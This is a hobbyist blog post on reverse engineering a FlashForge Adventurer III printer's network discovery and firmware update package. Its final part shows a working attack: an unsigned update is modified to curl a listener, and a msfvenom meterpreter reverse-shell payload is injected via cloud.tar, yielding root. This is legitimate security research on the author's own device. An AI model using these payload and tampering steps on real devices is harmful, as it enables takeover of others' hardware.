Owning the FlashForge Adventurer III

New toys are always fun, especially when there’s a possibility of owning them.

packaged unpacked

Meet the FlashForge Adventurer III, a new toy.

Obviously, printing 3D models is awesome..

charizard hydra

.. but this printer has WiFi, and the ability to flash new firmware updates.

A prime target.

Where on earth do we start?

Following the network traffic

FlashForge ship some software - FlashPrint - to ease some of the pain for 3d printing newbies (me!). The first thing I noticed when I fired it up was that it automatically found the printer on my network.

flashforge-find

Not the most unusual thing - lots of devices use Multicast DNS on networks now. Sometimes mDNS has some nice information - so lets fire up wireshark and sniff some traffic.

As we already know the IP of the printer (thanks to FlashPrint), it’s easier to filter out the correct traffic.

wireshark-not-mdns

After hitting Rescan in FlashPrint, the only traffic that appears doesn’t look like mDNS, but it’s certainly seems like it’s the printer telling us it exists.

0x426f7878656e5072696e7465720000000000000000000000 === BoxxenPrinter

So here we have the printer sending us a UDP packet on port 18000. Lets check the traffic coming from our PC just after we hit Rescan.

wireshark-not-mdns

This certainly looks promising. A UDP packet originating from 18000, to the multicast address 255.0.0.9!

Skipping forward a little bit, after a little more confirmation, this is certainly FlashForges custom multicast solution, sending 0xc0a8014346500000 to the multicast address indeed does have all printers send you an ID packet identifying themselves.

Unfortunately this yields no other useful information, so time to move on.

Firmware Updates

Most embedded devices have the ability to flash new firmware updates, and the Adventurer III is no exception. FlashForge provide both Over-The-Air updates (if connected to the internet), and the ability to install over USB.

After a bit of googling, I managed to find a Google Drive that contains the current, and previous, firmware update “packages”.

Grabbing one, and unzipping it offers some interesting files:

➜  ls -lah
total 50720
drwxr-xr-x@ 16 adam  staff   512B 24 Nov 02:08 .
drwxr-xr-x   5 adam  wheel   160B 24 Nov 02:08 ..
-rwxrwxr-x@  1 adam  staff   137K 12 Sep  2018 Adventurer3-1.3-20180910.hex
-rwxr-xr-x@  1 adam  staff    17K 26 Dec  2018 ISPFinderRushISP
-rwxr-xr-x@  1 adam  staff   3.6K 16 Aug 15:56 auto_run.sh
-rwxrwxr-x@  1 adam  staff    14K 26 Dec  2018 checkM3Version
-rw-rw-r--@  1 adam  staff   3.0M 20 Dec  2018 cloud.tar
-rwxrwxr-x@  1 adam  staff    12M 23 Oct  2018 code2000.ttf
-rwxr-xr-x@  1 adam  staff   671B 20 Apr  2018 create-rsa.sh
-rwxr-xr-x@  1 adam  staff   729B 14 Aug 16:35 createReleaseTar.sh
-rw-r--r--@  1 adam  staff   150K 15 Jan  2018 end.img
-rwxrwxr-x@  1 adam  staff   2.9M 16 Aug 15:46 finder-rush-mips
-rwxr-xr-x@  1 adam  staff   5.8K 16 Aug 15:56 flashforge_init.sh
-rwxr-xr-x@  1 adam  staff    32K 26 Dec  2018 play
-rw-r--r--@  1 adam  staff   150K 15 Jan  2018 start.img
-rw-rw-r--@  1 adam  staff   6.2M 31 Aug  2018 uImage-adventurer3-20180831

A couple that stood out to me: Adventurer3-1.3-20180910.hex, auto_run.sh, flashforge_init.sh and uImage-adventurer3-20180831.

The first one is likely some firmware binary, obviously the next two are bash scripts, and the latter is named suspiciously like a boot image.

➜  file uImage-adventurer3-20180831
uImage-adventurer3-20180831: u-boot legacy uImage, MIPS OpenWrt Linux-3.18.23, Linux/MIPS, OS Kernel Image (Not compressed), 6515364 bytes, Fri Aug 31 06:00:30 2018, Load Address: 0x80000000, Entry Point: 0x80000000, Header CRC: 0xFFB4EE12, Data CRC: 0x44F60F68

Yep. u-boot, MIPS, OpenWRT, no huge surprise here.

One of the best tools for embedded forensics is binwalk, it scans files and looks for common signatures.

➜ binwalk uImage-adventurer3-20180831

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0xFFB4EE12, created: 2018-08-31 06:00:30, image size: 6515364 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0x44F60F68, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "MIPS OpenWrt Linux-3.18.23"
2136          0x858           device tree image (dtb)
9434          0x24DA          mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
4849320       0x49FEA8        Linux kernel version 3.18.2
5542136       0x5490F8        xz compressed data
5575688       0x551408        Unix path: /lib/firmware/updates/3.18.23
5695276       0x56E72C        Unix path: /sys/firmware/devicetree/base
5808610       0x58A1E2        Neighborly text, "neighbor %.2x%.2x.%pM lost rename link %s to %s"
5838494       0x59169E        Unix path: /var/run/rpcbind.sock
6023232       0x5BE840        CRC32 polynomial table, little endian
6514912       0x6368E0        ASCII cpio archive (SVR4 with no CRC), file name: "dev", file name length: "0x00000004", file size: "0x00000000"
6515028       0x636954        ASCII cpio archive (SVR4 with no CRC), file name: "dev/console", file name length: "0x0000000C", file size: "0x00000000"
6515152       0x6369D0        ASCII cpio archive (SVR4 with no CRC), file name: "root", file name length: "0x00000005", file size: "0x00000000"
6515268       0x636A44        ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"

Running binwalk -e will automatically extract all these files from the image, making it easier for us to peek.

By default, only archives are extracted, so we run binwalk --dd '.*' to get everything dumped to disk.

The first thing to do is to check the device tree image, this is a configuration file that tells u-boot how to actually boot and configure the system.

➜ file 858
858: Device Tree Blob version 17, size=8340, boot CPU=0, string block size=640, DT structure block size=7644

Unfortunately, this is a ‘compiled’ device tree, so we gotta decompile it first. Fortunately, that’s pretty easy.

dtc -I dtb -O dts 885 > adventurer.dts

Now that we have a device tree, we can get some more useful information.

➜ head adventurer.dts
/dts-v1/;

/ {
	#address-cells = <0x01>;
	#size-cells = <0x01>;
	compatible = "mediatek,linkit\0mediatek,mt7628an-soc";
	model = "MediaTek LinkIt Smart 7688";

	cpus {

I thought I recognised this SoC - it’s actually the same one in my little travel router, the GL.iNet GL-MT300N V2. We can at least confirm it’s MIPS LE now.

Device trees usually also map out partition layouts - especially on embedded devices.

➜ grep -A 1 partition adventurer.dts
--
  partition@0 {
    label = "u-boot";
--    
  partition@30000 {
    label = "u-boot-env";
--
  partition@40000 {
    label = "factory";
--
  partition@50000 {
    label = "firmware";

4 partitions. Current assumption: 2 for the bootloader, a third for a firmware image that is used when you factory reset the device, and a fourth that houses the current firmware.

Unfortunately the cpio archives that are in the image seem to be pretty blank - only having references to the block device /dev/console. ¯\(ツ)

Lets move on.

The bash scripts.

flashforge_init.sh

This file seems to run when a new firmware is flashed, and does a few things.

First, it writes $WORKDIR/start.img to /dev/fb0, this displays the “Update in progress” image on the printers LCD screen, which is mounted as frame buffer 0.

Then, it runs through a list of possible update files that could exist in the firmware package, stuff like uboot.bin to update the bootloader, code2000.ttf to update the font face used, and extracting cloud.tar to a predefined location on the filesystem. It then writes the uImage file to /dev/mmcblk0 to update the actual firmware.

Last, it writes $WORKDIR/end.img to /dev/fb0 to display the Update Finished image, and then executes the $WORKDIR/play binary to play a little jingle.

auto_run.sh

Aptly named, seems to run on device boot. Also does a few things.

First of all, it mounts the USB device plugged into the system, if it exists. It then goes to check if there’s an update file, and if so, it executes flashforge_init.sh.

Next it sets a whole bunch of environment variables, and lastly runs the finder_rish_mips executable that is copied to the filesystem from the update package.

This executable is what actually runs the GUI and lets you print stuff!

Owning the system.

Turns out it’s really not that hard, and I probably should have looked at all the bash scripts first. Surprisingly there’s no encryption or signature checking on the update packages, meaning we can modify these at will.

Checking we can actually run stuff.

Extracting cloud.tar shows us that the system has a curl binary - an easy test for us.

How to we go about this? Well, we can write a little node service to listen and log requests, and then we can modify auto_run.sh to curl our service. If we get a log, then we’re in business.

$CLOUDDIR/curl http://192.168.1.67:1337/bingo

Update the files on a USB, reboot the system, wait for it to flash the new files, reboot, and… nada.

Nothing.

Took me a while testing different things before I noticed the little WiFi icon in the UI didn’t appear until after the system had been booted for a little while.

Modifying the curl, and adding a sleep to it..

sleep 60 && $CLOUDDIR/curl http://192.168.1.67:1337/bingo

Update the files on a USB, reboot the system, wait for it to flash the new files, reboot, and… Bingo!

➜ node /tmp/test.js
Listening on 1337
Got a request! /bingo from 192.168.1.75

Turns out that FlashForge basically gave us a backdoor.

Popping a shell

As we practically have shell access already, this one is easy. Couldn’t be bothered setting up a toolchain to cross compile to MIPS, so I decided to rely on Metasploit and its payload generation.

msfvenom -p linux/mipsle/meterpreter_reverse_tcp --format elf LHOST=192.168.1.67 LPORT=1337 > /tmp/exploit

We still have to get this onto the system - and to do that we have 2 options. We can either modify flashforge_init.sh to manually copy the exploit over, or we can rely on the existing cloud.tar extraction. I decided on the latter, so I didn’t have to modify another bash script.

Adding our exploit to cloud.tar:

tar xvf cloud.tar
cp /tmp/exploit cloud/exploit
rm cloud.tar
tar cvf cloud.tar cloud

Now, we start our reverse TCP listener:

➜ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/mipsle/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.67
msf5 exploit(multi/handler) > set LPORT 1337
msf5 exploit(multi/handler) > exploit -j -z
[*] Started reverse TCP handler on 192.168.1.67:1337

Flash the new updates, reboot the system..

[*] Meterpreter session 1 opened (192.168.1.67:1337 -> 192.168.1.75:42635) at 2019-11-24 03:45:44 +1100

Woo!

meterpreter> getuid
Server username: uid=0, gid=0, euid=0, egid=0

We now have full control over the printer, and can get up to some more shenanigans.

Stay tuned for part 2.